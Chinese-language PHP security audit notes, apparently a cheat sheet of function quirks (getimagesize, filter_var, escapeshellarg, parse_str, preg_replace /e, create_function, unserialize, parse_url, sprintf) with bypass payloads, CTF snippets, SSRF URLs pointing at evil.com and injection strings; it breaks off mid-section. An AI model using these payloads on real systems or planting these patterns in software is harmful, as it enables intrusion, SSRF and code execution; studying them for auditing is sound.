函数
getimagesize图片验证绕过
参考
利用范围
- (PHP 4, PHP 5, PHP 7)
解析
PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
...
if (!memcmp(filetype, php_sig_gif, 3)) {
return IMAGE_FILETYPE_GIF;
} else if (!memcmp(filetype, php_sig_jpg, 3)) {
return IMAGE_FILETYPE_JPEG;
} else if (!memcmp(filetype, php_sig_png, 3)) {
...
}
}
PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
(char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
可以看出来 image type 是根据文件流的前几个字节(文件头)来判断的
测试
测试代码
<?php
print_r(getimagesize('test.php'));
利用python脚本生成文件
with open('png.php','wb') as f:
f.write(b'\x89PNG\r\n\x1a\n<?php phpinfo(); ?>')
with open('gif.php','wb') as f:
f.write(b'GIF89a<?php phpinfo(); ?>')
测试
<?php
print_r(getimagesize('png.php'));
print_r(getimagesize('gif.php'));
in_array
函数结构
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool
利用条件
$strict=FALSE
测试代码
只要第三个参数
$strict
没有设置成TRUE,就不会进行强检查。<?php $a=7; $b[]='7shell'; var_dump(in_array($a,$b)); var_dump(in_array($a,$b,$strict=true));
filter_var
函数结构
filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed
FILTER_VALIDATE_URL
参考
测试javascript协议
filter_var('javascript://comment%250Aalert(1)', FILTER_VALIDATE_URL);
上述代码可能会导致XSS攻击。
因为//
在JavaScript中表示单行注释,%250a
解码后为换行符,所以alert(1)
和//
不在一行,js代码成功执行。
测试代码
<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url=htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide </a>";
利用filter_var和curl的差异
利用条件
- curl<=7.47.0(win下7.55.1不可用)
测试代码
在如下脚本中:
<?php
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/skysec\.top$/', $r['host'])) {
echo 'start curl';
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
可用payload:
访问evil.com:2333
?url=0://evil.com:23333;skysec.top:80/
访问evil.top
?url=0://evil.com$skysec.top
访问evil.com:80
?url=0://evil.com:80$skysec.top
FILTER_VALIDATE_EMAIL
参考
- https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html#0x03-filter_validate_email
- https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly
测试
测试代码如下,绕过方法为:"Joe'Blow"@example.com
,逃逸单引号。
<?php
$email = '"Joe\'Blow"@example.com';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
else
echo "email not correct";
//C:\Users\j7ur8\Desktop\test.php:4:string(22) ""Joe'Blow"@example.com"
?>
strpos
参考文章
函数结构
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
使用缺陷
如果查询到的字符在第一位,那么返回为数字为0;而查询不到的结果也为false。 0和false取反皆为true,如果不注意就有可能造成错误。
测试代码
<?php
print(strpos('baa','b'));
# 0
?>
escapeshellarg和escapeshellcmd
参考文章
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day5/files/README.md
- https://secure.php.net/manual/zh/function.escapeshellarg.php
- https://secure.php.net/manual/zh/function.escapeshellcmd.php
函数结构
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 escapeshellcmd — shell 元字符转义
escapeshellarg ( string $arg ) : string
escapeshellcmd ( string $command ) : string
利用
mail()函数底层实现了escapeshellcmd
函数,对用户输入的邮箱进行检测。
但是如果escapeshellcmd和escapeshellarg一起使用,就会造成特殊字符逃逸。
测试代码
<?php
$param="127.0.0.1' -v -d a=1";
$a=escapeshellarg($param);
$b=escapeshellcmd($a);
$cmd="curl ".$b;
var_dump($a)."\n";
var_dump($a)."\n";
var_dump($cmd)."\n";
?>
分析如下:
但是windows测试如下,有点问题,没有深究
parse_str
参考文章
- https://secure.php.net/manual/zh/function.parse-str.php
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day7/files/README.md
函数构造
parse_str ( string $encoded_string [, array &$result ] ) : void
版本变化
版本 | 说明 |
---|---|
7.2.0 | 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告。 |
测试
parse_str的作用就是解析字符串并且注册成变量,但是在注册变量之前,他不会验证当前变量是否存在,所以会覆盖掉当前作用域中原有的变量。
<?php
$j7ur8='best';
parse_str('j7ur8=didi');
echo $j7ur8;
# didi php<7.2
# PHP Deprecated: parse_str(): Calling parse_str() without the result argument is deprecated PHP7.2
CTF题目
index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
preg_replace
参考文章
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day8/files/README.md
- https://xz.aliyun.com/t/2557
- https://www.cnblogs.com/dhsx/p/4991983.html
利用条件
- PHP<7
函数结构
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
利用
$pattern 存在/e
模式修正符,允许代码执行。
测试代码
<?php
var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}'));
?>
以上代码能执行除了preg_replace
的/e
修饰符可以执行代码外,还一个原因是strtolower函数使用了""
。我们知道""
内部是可以引用变量的。如:
<?php
$a='asfd';
echo "$a"; #asf
unserialize绕过
绕过__wake魔术方法
参考
利用范围
- PHP5 < 5.6.25
- PHP7 < 7.0.10
测试
demo.php
class Demo
{
public $data;
public function __construct($data)
{
$this->data = $data;
echo "construct<br />";
}
public function __wakeup()
{
echo "wake up<br />";
}
public function __destruct()
{
echo "Data's value is $this->data. <br />";
echo "destruct<br />";
}
}
var_dump(serialize(new Demo("raw value")));
结果
construct
Data's value is raw value.
destruct
string 'O:4:"Demo":1:{s:4:"data";s:9:"raw value";}' (length=42)
绕过:
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
unserialize('O:4:"Demo":2:{s:4:"data";s:15:"malicious value";}');
分别测试上述代码,得到
绕过正则检测
参考
解析
PHP相关源码
在PHP源码var_unserializer.c,对反序列化字符串进行处理,在代码568行对字符进行判断,并调用相应的函数进行处理,当字符为’O'时,调用 yy13 函数,在 yy13 函数中,对‘O‘字符的下一个字符进行判断,如果是’:',则调用 yy17 函数,如果不是则调用 yy3 函数,直接return 0,结束反序列化。接着看 yy17 函数。通过观察yybm[]数组可知,第一个if判断是否为数字,如果为数字则跳转到 yy20 函数,第二个判断如果是’+'号则跳转到 yy19 ,在 yy19 中,继续对 +号 后面的字符进行判断,如果为数字则跳转到 yy20 ,如果不是则跳转到 yy18 , y18 最终跳转到 yy3 ,退出反序列化流程。由此,在’O:’,后面可以增加’+',用来绕过正则判断。
绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。
htmlentities
参考文章
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day12/files/README.md
- http://php.net/manual/zh/function.htmlentities.php
函数结构
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
测试
htmlentities默认情况下只会过滤双引号
<?php
$a=<<<EOF
aaa'aaa"aaa
EOF;
echo htmlentities($a);
rand
参考文章
函数结构
rand ( void ) : int ; rand ( int $min , int $max ) : int
解析
拿到种子或者随机数可以实用工具进行爆破
工具
参考
测试
一般情况,我们使用mt_srand(534142874 ); echo mt_rand(), "\n";
生成的伪随机数,可以简单的使用
php_mt_seed 1328851649
得到结果: 可以发现得到了很多结果,参见README手册我们可以得知
改善命令
time php_mt_seed 1328851649 1328851649 0 2147483647 1423851145
虽然速度没有太多提升,但是派出了多余的值。
在上面同时介绍了高级用法,当出现了4个以上的参数时,php_mt_seed
将把参数分成4个一组。每组按照处理4个的方法进行处理(见图片)。
CTF
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>
此代码根据生成的(0,61)之间伪随机数,截取$str_rand
字符凭借生成优惠码。我们拥有优惠码,字典$str_rand
。所以我们可以获取每次生成的伪随机数。
exp.py
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='SUjJQvy1e2NyihU'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
if i<=length/2:
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
else:
for j in range(len(str3)):
if str2[i] == str1[j]:
res+=str(len(str1)-j)+' '+str(len(str1)-j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
# 54 54 0 61 56 56 0 61 9 9 0 61 45 45 0 61 52 52 0 61 21 21 0 61 24 24 0 61 27 27 0 61 58 58 0 61 34 34 0 61 13 13 0 61 38 38 0 61 54 54 0 61 55 55 0 61 6 6 0 61
使用php_mt_seed
爆破:
php_mt_seed 54 54 0 61 56 56 0 61 9 9 0 61 45 45 0 61 52 52 0 61 21 21 0 61 24 24 0 61 27 27 0 61 58 58 0 61 34 34 0 61 13 13 0 61 38 38 0 61 54 54 0 61 55 55 0 61 6 6 0 61
extract
参考文章
- https://secure.php.net/manual/zh/function.extract.php
- https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/
- https://www.freebuf.com/column/150731.html
函数结构
extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
解析
因为$flags
的默认参数是EXTR_OVERWRITE
,可能导致变量覆盖漏洞
测试
测试代码
<?php
$j7ur8='best';
$arr['j7ur8']='the best';
extract($arr);
print_r($j7ur8); # the best
extract将数组$arr
中对应的key=>value
注册成$key=value
。而由于extract函数的$flags
默认值为EXTR_OVERWRITE
,所以会覆盖已存在的的相同变量的值。
create_function
参考文章
- https://secure.php.net/manual/zh/function.create-function.php
- http://www.laruence.com/2010/06/20/1602.html
- https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/#function
函数结构
create_function ( string $args , string $code ) : string
Challenge 1
index.php
<?php
create_function('$a',$_GET['arg']);
?>
查看源码知道create_function采用拼接参数构造匿名函数,然后通过eval执行匿名函数(可以这样理解)
ZEND_FUNCTION(create_function)
{
zend_string *function_name;
char *eval_code, *function_args, *function_code;
size_t eval_code_length, function_args_len, function_code_len;
int retval;
char *eval_name;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "ss", &function_args, &function_args_len, &function_code, &function_code_len) == FAILURE) {
return;
}
eval_code = (char *) emalloc(sizeof("function " LAMBDA_TEMP_FUNCNAME)
+function_args_len
+2 /* for the args parentheses */
+2 /* for the curly braces */
+function_code_len);
eval_code_length = sizeof("function " LAMBDA_TEMP_FUNCNAME "(") - 1;
memcpy(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(", eval_code_length);
memcpy(eval_code + eval_code_length, function_args, function_args_len);
eval_code_length += function_args_len;
eval_code[eval_code_length++] = ')';
eval_code[eval_code_length++] = '{';
memcpy(eval_code + eval_code_length, function_code, function_code_len);
eval_code_length += function_code_len;
eval_code[eval_code_length++] = '}';
eval_code[eval_code_length] = '\0';
eval_name = zend_make_compiled_string_description("runtime-created function");
retval = zend_eval_stringl(eval_code, eval_code_length, NULL, eval_name);
efree(eval_code);
efree(eval_name);
if (retval==SUCCESS) {
zend_op_array *func;
HashTable *static_variables;
func = zend_hash_str_find_ptr(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
if (!func) {
zend_error_noreturn(E_CORE_ERROR, "Unexpected inconsistency in create_function()");
RETURN_FALSE;
}
if (func->refcount) {
(*func->refcount)++;
}
static_variables = func->static_variables;
func->static_variables = NULL;
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
func->static_variables = static_variables;
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}
arg为可控参数,我们可以构造如下payload
/?arg=}phpinfo();{
调试源码克制构造的函数为:
结果:
Challenge 2
若第一个参数可控
<?php
create_function($_GET['arg'],'');
可构造
/?arg=){}phpinfo();{}%23
结果为:
测试代码
<?php
error_reporting(0);
$_GET['arg1']='){}echo "arg1\n";{}#';
create_function($_GET['arg1'],'');
$_GET['arg2']='}echo "arg2\n";{';
create_function('',$_GET['arg2']);
parse_url
参考
- https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/
- https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick2-libcurl-and-parse-url
- https://www.php.net/ChangeLog-5.php
错误的解析hostname
参考
利用范围
- PHP5.x < php5.6.28
- PHP7.0 < php7.0.13
测试代码
demo.php
<?php
echo parse_url("http://example.com:80#@google.com/")["host"]."\n"; #google.com
echo parse_url("http://example.com:80?@google.com/")["host"]."\n"; #google.com
echo file_get_contents("http://example.com:80#@google.com"); # example.com
?>
不解析有端口但没有协议网址
参考
利用范围
- PHP5.6 < PHP5.6.8
- PHP5.5 < PHP5.5.24
- PHP5.4.x
测试代码
demo.php
<?php
print_r(parse_url('//example.org:81/hi?a=b#c=d')); //
print_r(parse_url('//example.org/hi?a=b#c=d')); //Array([host] => example.org [path] => /hi [query] => a=b [fragment] => c=d )
无法解析空用户名和密码
参考
利用范围
- PHP5.6 < PHP5.6.3
- PHP5.5 < PHP5.5.19
- PHP5.4.x
测试代码
demo.php
<?php
// correct (returns empty username)
var_dump( parse_url( 'https://@example.com' ) );
// incorrect (doesn't return empty username or password)
var_dump( parse_url( 'https://:@example.com' ) );
// incorrect (doesn't return empty username)
var_dump( parse_url( 'https://:password@example.com' ) );
// incorrect (doesn't return empty password)
var_dump( parse_url( 'https://username:@example.com' ) );
对于//的解析错误
参考
- https://bugs.php.net/bug.php?id=62844
- https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/#%E5%89%8D%E8%AE%B0
利用范围
- php5.x < php5.4.7
测试代码
demo.php
<?php
var_dump(parse_url('//example.org')); # array(1) {'path' => string(14) "//example.org"}
var_dump(parse_url('http:/xxx.com/abc//def?g=1&e=2'))['path'] // def?g=1&e=2
var_dump(parse_url('http:/xxx.com/abc///def?g=1&e=2'))['path'] // FALSE
curl和parse_url的解析顺序问题
利用范围
- 全版本
- libcurl 7.52,windows下的curl-7.55.1版本会报错
curl: (3) Port number ended with '@'
测试代码
demo.php
<?php
var_dump(parse_url('http://u:p@a.com:80@b.com/')); //host: b.com
system('curl http://u:p@a.com:80@b.com/') //couldn't resolve host a.com
绕过mime_content_type函数
参考
- https://www.php.net/manual/zh/function.mime-content-type.php
- https://bugs.php.net/bug.php?id=75280
- https://xz.aliyun.com/t/4029
解析
一番搜索有2中方法可以绕过。
首先是php的issue,关于<?[空格]
可被检测为text/plain
的问题。
其次是minme_content_type检测的是文件头,可以制造一个合法的图片头+恶意文件内容的图片
with open('1.jpg','wb') as f:
f.write(b'\x89PNG\r\n\x1a\n')
print(b'\x89PNG')
采用以上方法来制作一个合法图片头的头片。
以下为几种图片类型的最短可过检测的字符串。
- png->
\x89PNG\r\n\x1a\n
,如果取在\n
前面,那么mine_content_type()函数将检测为application/octet-stream
- jpg->
\xFF\xD8
- gif->
\x47\x49\x46\x38
- svg直接text写以下内容即可。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg">
</svg>
assert
参考
函数构造
PHP5:
assert ( mixed $assertion [, string $description ] ) : bool
PHP7:
assert ( mixed $assertion [, Throwable $exception ] ) : bool
版本更新
- PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
- 在 PHP 5 中,参数 assertion 必须是可执行的字符串,或者运行结果为布尔值的表达式
- 在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
- 在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
- PHP >= 7.0.0,支持
zend.assertions
、assert.exception
相关配置及其特性 - PHP >= 7.2 版本开始,参数 assertion 不再支持字符串
PHP7增加了断言的Expectations,提供了灵活的调试策略。另外提供了两组php.ini的配置。
Directive | Default value | Possible values |
---|---|---|
zend.assertions | 1 | 1: generate and execute code (development mode) 0: generate code but jump around it at runtime -1: do not generate code (production mode) |
assert.exception | 0 | 1: throw when the assertion fails, either by throwing the object provided as the exception or by throwing a new AssertionError object if exception wasn't provided 0: use or generate a Throwable as described above, but only generate a warning based on that object rather than throwing it (compatible with PHP 5 behaviour) |
自定义断言异常处理函数
测试
<?php
// 激活断言,并设置它为 quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);
//创建处理函数
function my_assert_handler($file, $line, $code)
{
echo "<hr>Assertion Failed:
File '$file'<br />
Line '$line'<br />
Code '$code'<br /><hr />";
}
// 设置回调函数
assert_options(ASSERT_CALLBACK, 'my_assert_handler');
// 让一则断言失败
$asse=2<1;
assert($asse);
?>
上述代码运行结果如下:
<hr>Assertion Failed:
File 'C:\Users\j7ur8\Desktop\test2.php'<br />
Line '21'<br />
Code ''<br /><hr />
PHP7.2弃用将一个字符串参数当作assert()的参数。
mb_strtolower与mb_strtoupper
参考:
- https://www.php.net/manual/en/mbstring.supported-encodings.php
- https://www.cnblogs.com/meil/archive/2007/02/01/636738.html
我们可以见如下demo:
<?php
var_dump(mb_strtolower('İ') === 'i');
# bool(true)
mb_strtolower函数把 İ 转化成了英文小写字母 i 。使用网站我们可以知道 İ 是 Latin Capital Letter I with Dot Abov,属于 Unicode Block “Latin Extended-A”。因此我们可以进一步测试有多少个 Unicode 字符存在这种情况。
1.生成 unicode_set.txt
import traceback
def print_unicode3(start, end):
#'wb' must be set, or f.write(str) will report error
with open('unicode_set.txt', 'wb') as f:
loc_start = start
ct = 0
while loc_start <= end:
try:
tmpstr = hex(loc_start)[2:]
od = (4 - len(tmpstr)) * '0' + tmpstr # 前补0
ustr = chr(loc_start) #
index = loc_start - start + 1
# line = (str(index) + '\t' + '0x' + od + '\t' + ustr + '\r\n').encode('utf-8')
line = ('"\\u' + od + '"\n').encode('utf-8')
f.write(line)
loc_start = loc_start + 1
except Exception as e:
traceback.print_exc()
loc_start += 1
print(loc_start)
def expect_test(expected, actual):
if expected != actual:
print('expected ', expected, 'actual', actual)
# 测试:
print_unicode3(0x0000, 0xffff)
2.测试
<?php
$a=file_get_contents('unicode_set.txt');
$unicode_set_array = explode("\n",$a);
$list='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
for($i=0; $i<count($unicode_set_array); $i++){
$deocde_str=json_decode($unicode_set_array[$i]);
$visible_char = empty($deocde_str)?False:$deocde_str;
$lower = mb_strtolower($visible_char);
$upper = mb_strtoupper($visible_char);
$lower = empty($lower)?False:$lower;
$upper = empty($upper)?False:$upper;
if(strpos($list, $visible_char) !== false){
continue;
}elseif (strpos($list, $lower) !== false) {
echo $unicode_set_array[$i]." $visible_char > $lower\n";
}elseif (strpos($list, $upper) !== false) {
echo $unicode_set_array[$i]." $visible_char < $upper\n";
}
}
3.结果
unicode编码 | 字符1 | 字符2 | 函数 |
---|---|---|---|
"\u0130" | İ | i | mb_strtolower |
"\u0131" | ı | I | mb_strtoupper |
"\u017f" | ſ | S | mb_strtoupper |
"\u212a" | K | k | mb_strtolower |
sprintf格式化字符串漏洞
测试demo:
<?php
$sql = "select * from user where username = '%1$' and password='%s';";
$args = "3925" ;
echo sprintf ($sql , $args) ;
/*
select * from user where username = 'nd password='3925';
*/
发现' a
三个字符消失了,单引号被吞掉,导致存在sql注入风险。
分析
环境:VSCode+php7.4.19
在php_formatted_print函数处下断点,调用栈为:
php!php_formatted_print (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/ext/standard/formatted_print.c:396)
php!zif_user_sprintf (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/ext/standard/formatted_print.c:678)
.......
php!main (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/sapi/cli/php_cli.c:1359)
libdyld.dylib!start (Unknown Source:0)
函数构造为:
php_formatted_print(zval *z_format, zval *args, int argc)
{
size_t size = 240, outpos = 0;
int alignment, currarg, adjusting, argnum, width, precision;
char *format, *temppos, padding;
zend_string *result;
int always_sign;
size_t format_len;
if (!try_convert_to_string(z_format)) {
return NULL;
}
format = Z_STRVAL_P(z_format);
format_len = Z_STRLEN_P(z_format);
result = zend_string_alloc(size, 0);
currarg = 0;
while (format_len) {
int expprec;
zval *tmp;
temppos = memchr(format, '%', format_len);
if (!temppos) {
php_sprintf_appendchars(&result, &outpos, format, format_len);
break;
} else if (temppos != format) {
php_sprintf_appendchars(&result, &outpos, format, temppos - format);
format_len -= temppos - format;
format = temppos;
}
format++; /* skip the '%' */
format_len--;
if (*format == '%') {
php_sprintf_appendchar(&result, &outpos, '%');
format++;
format_len--;
} else {
/* starting a new format specifier, reset variables */
alignment = ALIGN_RIGHT;
adjusting = 0;
padding = ' ';
always_sign = 0;
expprec = 0;
PRINTF_DEBUG(("sprintf: first looking at '%c', inpos=%d\n",
*format, format - Z_STRVAL_P(z_format)));
if (isalpha((int)*format)) {
width = precision = 0;
argnum = currarg++;
} else {
/* first look for argnum */
temppos = format;
while (isdigit((int)*temppos)) temppos++;
if (*temppos == '$') {
argnum = php_sprintf_getnumber(&format, &format_len);
if (argnum <= 0) {
zend_string_efree(result);
php_error_docref(NULL, E_WARNING, "Argument number must be greater than zero");
return NULL;
}
argnum--;
format++; /* skip the '$' */
format_len--;
} else {
argnum = currarg++;
}
/* after argnum comes modifiers */
PRINTF_DEBUG(("sprintf: looking for modifiers\n"
"sprintf: now looking at '%c', inpos=%d\n",
*format, format - Z_STRVAL_P(z_format)));
for (;; format++, format_len--) {
if (*format == ' ' || *format == '0') {
padding = *format;
} else if (*format == '-') {
alignment = ALIGN_LEFT;
/* space padding, the default */
} else if (*format == '+') {
always_sign = 1;
} else if (*format == '\'' && format_len > 1) {
format++;
format_len--;
padding = *format;
} else {
PRINTF_DEBUG(("sprintf: end of modifiers\n"));
break;
}
}
PRINTF_DEBUG(("sprintf: padding='%c'\n", padding));
PRINTF_DEBUG(("sprintf: alignment=%s\n",
(alignment == ALIGN_LEFT) ? "left" : "right"));
/* after modifiers comes width */
if (isdigit((int)*format)) {
PRINTF_DEBUG(("sprintf: getting width\n"));
if ((width = php_sprintf_getnumber(&format, &format_len)) < 0) {
efree(result);
php_error_docref(NULL, E_WARNING, "Width must be greater than zero and less than %d", INT_MAX);
return NULL;
}
adjusting |= ADJ_WIDTH;
} else {
width = 0;
}
PRINTF_DEBUG(("sprintf: width=%d\n", width));
/* after width and argnum comes precision */
if (*format == '.') {
format++;
format_len--;
PRINTF_DEBUG(("sprintf: getting precision\n"));
if (isdigit((int)*format)) {
if ((precision = php_sprintf_getnumber(&format, &format_len)) < 0) {
efree(result);
php_error_docref(NULL, E_WARNING, "Precision must be greater than zero and less than %d", INT_MAX);
return NULL;
}
adjusting |= ADJ_PRECISION;
expprec = 1;
} else {
precision = 0;
}
} else {
precision = 0;
}
PRINTF_DEBUG(("sprintf: precision=%d\n", precision));
}
if (argnum >= argc) {
efree(result);
php_error_docref(NULL, E_WARNING, "Too few arguments");
return NULL;
}
if (*format == 'l') {
format++;
format_len--;
}
PRINTF_DEBUG(("sprintf: format character='%c'\n", *format));
/* now we expect to find a type specifier */
tmp = &args[argnum];
switch (*format) {
case 's': {
zend_string *t;
zend_string *str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring(&result, &outpos,
ZSTR_VAL(str),
width, precision, padding,
alignment,
ZSTR_LEN(str),
0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment,
always_sign);
break;
case 'u':
php_sprintf_appenduint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble(&result, &outpos,
zval_get_double(tmp),
width, padding, alignment,
precision, adjusting,
*format, always_sign
);
break;
case 'c':
php_sprintf_appendchar(&result, &outpos,
(char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 3,
hexchars, expprec);
break;
case 'x':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
hexchars, expprec);
break;
case 'X':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 1,
hexchars, expprec);
break;
case '%':
php_sprintf_appendchar(&result, &outpos, '%');
break;
case '\0':
if (!format_len) {
goto exit;
}
break;
default:
break;
}
format++;
format_len--;
}
}
函数使用while (format_len)
语句循环对字符串以%
出现的位置进行截取,然后进行格式化处理。
进入断点后,对tempos、format和format_len函数添加WATCH。可以看到在第一次while循环中,417行memchr函数对format进行了第一次截取得到字符串:
%1$' and password='%s';
进入else if判断,对format进行复制后,忽略字符%。可以看到左侧format与tempos变量对比少了一个字符%
。(在429行进一步判断是否存在字符%
,有则返回返回字符%
;否则继续执行。429行的判断正是%%
返回%
的判断逻辑。这里不存在%
,进入434行else判断。)
443行进行isalpha判断,失败,进入isdigit判断,对tempos赋值,判断首字母是否为数字,是数字则抛弃。得到字符串:$' and password='%s';
。
450-463判断符号$
是否存在,存在则抛弃format变量中的$
。这里存在,抛弃,得到字符串:' and password='%s';
。
469-485判断字符中是否存在字符- +'
,存在则抛弃。这里存在,抛弃,得到字符串:and password='%s';
。
为啥抛弃了两个字符`和
'呢,因为else if判断执行了一次
format++后,for循环也执行了一次
format++`。
之后进入540行,由于不存在对应于字符a
的规则,直接抛弃字符a
,得到字符串:nd password='%s'
。
然后进入下一次while循环处理%s
。(此处不再分析)
利用方法
主要利用来逃逸单引号及利用字符c
逃逸单个ascii字符。
逃逸单引号
<?php
